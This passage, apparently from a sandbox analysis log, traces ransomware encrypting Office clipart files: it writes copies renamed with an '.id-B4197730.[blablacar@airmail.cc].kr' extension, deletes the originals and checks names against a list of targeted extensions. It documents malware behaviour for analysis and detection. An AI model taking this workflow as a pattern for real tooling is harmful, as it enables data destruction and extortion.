office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0190.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.546] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.546] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0190.546] GetLastError () returned 0x0 [0190.546] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x566, lpOverlapped=0x0) returned 1 [0190.548] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x570, lpOverlapped=0x0) returned 1 [0190.549] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.549] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0190.549] SetEndOfFile (hFile=0x53c) returned 1 [0190.549] CloseHandle (hObject=0x53c) returned 1 [0190.549] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.549] SetEndOfFile (hFile=0x410) returned 1 [0190.551] CloseHandle (hObject=0x410) returned 1 [0190.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.552] lstrlenW (lpString=".doc") returned 4 [0190.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString=".docx") returned 5 [0190.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.552] lstrlenW (lpString=".pdf") returned 4 [0190.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.553] lstrlenW (lpString=".xls") returned 4 [0190.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.553] lstrlenW (lpString=".xlsx") returned 5 [0190.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.553] lstrlenW (lpString=".ppt") returned 4 [0190.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.553] lstrlenW (lpString=".zip") returned 4 [0190.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.553] lstrlenW (lpString=".rar") returned 4 [0190.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.553] lstrlenW (lpString=".bz2") returned 4 [0190.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.553] lstrlenW (lpString=".7z") returned 3 [0190.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.553] lstrlenW (lpString=".dbf") returned 4 [0190.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.553] lstrlenW (lpString=".1cd") returned 4 [0190.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.554] lstrlenW (lpString=".jpg") returned 4 [0190.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.554] lstrlenW (lpString=".doc") returned 4 [0190.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString=".docx") returned 5 [0190.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.554] lstrlenW (lpString=".pdf") returned 4 [0190.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString=".xls") returned 4 [0190.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.554] lstrlenW (lpString=".xlsx") returned 5 [0190.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.554] lstrlenW (lpString=".ppt") returned 4 [0190.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.554] lstrlenW (lpString=".zip") returned 4 [0190.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.554] lstrlenW (lpString=".rar") returned 4 [0190.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString=".bz2") returned 4 [0190.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString=".7z") returned 3 [0190.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.554] lstrlenW (lpString=".dbf") returned 4 [0190.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.554] lstrlenW (lpString=".1cd") returned 4 [0190.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0190.555] lstrlenW (lpString=".jpg") returned 4 [0190.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.555] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0190.555] lstrlenW (lpString="ED00019_.WMF") returned 12 [0190.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.555] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=13042) returned 1 [0190.555] CloseHandle (hObject=0x410) returned 1 [0190.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0190.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0190.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.556] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.556] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0190.556] GetLastError () returned 0x0 [0190.556] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0190.558] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3300, lpOverlapped=0x0) returned 1 [0190.559] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.559] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0190.559] SetEndOfFile (hFile=0x53c) returned 1 [0190.560] CloseHandle (hObject=0x53c) returned 1 [0190.560] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.560] SetEndOfFile (hFile=0x410) returned 1 [0190.563] CloseHandle (hObject=0x410) returned 1 [0190.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.564] lstrlenW (lpString=".doc") returned 4 [0190.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString=".docx") returned 5 [0190.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.564] lstrlenW (lpString=".pdf") returned 4 [0190.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString=".xls") returned 4 [0190.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.564] lstrlenW (lpString=".xlsx") returned 5 [0190.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.564] lstrlenW (lpString=".ppt") returned 4 [0190.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.564] lstrlenW (lpString=".zip") returned 4 [0190.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.564] lstrlenW (lpString=".rar") returned 4 [0190.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString=".bz2") returned 4 [0190.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString=".7z") returned 3 [0190.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.564] lstrlenW (lpString=".dbf") returned 4 [0190.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.564] lstrlenW (lpString=".1cd") returned 4 [0190.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.564] lstrlenW (lpString=".jpg") returned 4 [0190.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.565] lstrlenW (lpString=".doc") returned 4 [0190.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.565] lstrlenW (lpString=".docx") returned 5 [0190.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.565] lstrlenW (lpString=".pdf") returned 4 [0190.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.565] lstrlenW (lpString=".xls") returned 4 [0190.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.565] lstrlenW (lpString=".xlsx") returned 5 [0190.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.565] lstrlenW (lpString=".ppt") returned 4 [0190.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.565] lstrlenW (lpString=".zip") returned 4 [0190.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.565] lstrlenW (lpString=".rar") returned 4 [0190.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.565] lstrlenW (lpString=".bz2") returned 4 [0190.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.565] lstrlenW (lpString=".7z") returned 3 [0190.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.565] lstrlenW (lpString=".dbf") returned 4 [0190.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.565] lstrlenW (lpString=".1cd") returned 4 [0190.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0190.565] lstrlenW (lpString=".jpg") returned 4 [0190.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.566] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0190.566] lstrlenW (lpString="ED00172_.WMF") returned 12 [0190.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.566] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2700) returned 1 [0190.566] CloseHandle (hObject=0x410) returned 1 [0190.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0190.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0190.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.567] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.567] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0190.567] GetLastError () returned 0x0 [0190.567] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xa8c, lpOverlapped=0x0) returned 1 [0191.110] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xa90, lpOverlapped=0x0) returned 1 [0191.111] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.111] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.111] SetEndOfFile (hFile=0x53c) returned 1 [0191.111] CloseHandle (hObject=0x53c) returned 1 [0191.111] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.111] SetEndOfFile (hFile=0x410) returned 1 [0191.114] CloseHandle (hObject=0x410) returned 1 [0191.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0191.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.115] lstrlenW (lpString=".doc") returned 4 [0191.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.115] lstrlenW (lpString=".docx") returned 5 [0191.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.115] lstrlenW (lpString=".pdf") returned 4 [0191.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.115] lstrlenW (lpString=".xls") returned 4 [0191.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.115] lstrlenW (lpString=".xlsx") returned 5 [0191.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.115] lstrlenW (lpString=".ppt") returned 4 [0191.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.115] lstrlenW (lpString=".zip") returned 4 [0191.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.116] lstrlenW (lpString=".rar") returned 4 [0191.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.116] lstrlenW (lpString=".bz2") returned 4 [0191.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.116] lstrlenW (lpString=".7z") returned 3 [0191.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.116] lstrlenW (lpString=".dbf") returned 4 [0191.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.116] lstrlenW (lpString=".1cd") returned 4 [0191.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.116] lstrlenW (lpString=".jpg") returned 4 [0191.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.116] lstrlenW (lpString=".doc") returned 4 [0191.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.116] lstrlenW (lpString=".docx") returned 5 [0191.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.116] lstrlenW (lpString=".pdf") returned 4 [0191.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.116] lstrlenW (lpString=".xls") returned 4 [0191.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.117] lstrlenW (lpString=".xlsx") returned 5 [0191.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.117] lstrlenW (lpString=".ppt") returned 4 [0191.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.117] lstrlenW (lpString=".zip") returned 4 [0191.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.117] lstrlenW (lpString=".rar") returned 4 [0191.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.117] lstrlenW (lpString=".bz2") returned 4 [0191.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.117] lstrlenW (lpString=".7z") returned 3 [0191.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.117] lstrlenW (lpString=".dbf") returned 4 [0191.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.117] lstrlenW (lpString=".1cd") returned 4 [0191.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0191.117] lstrlenW (lpString=".jpg") returned 4 [0191.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.117] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.117] lstrlenW (lpString="EN00202_.WMF") returned 12 [0191.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.119] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6938) returned 1 [0191.119] CloseHandle (hObject=0x410) returned 1 [0191.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0191.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.120] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, 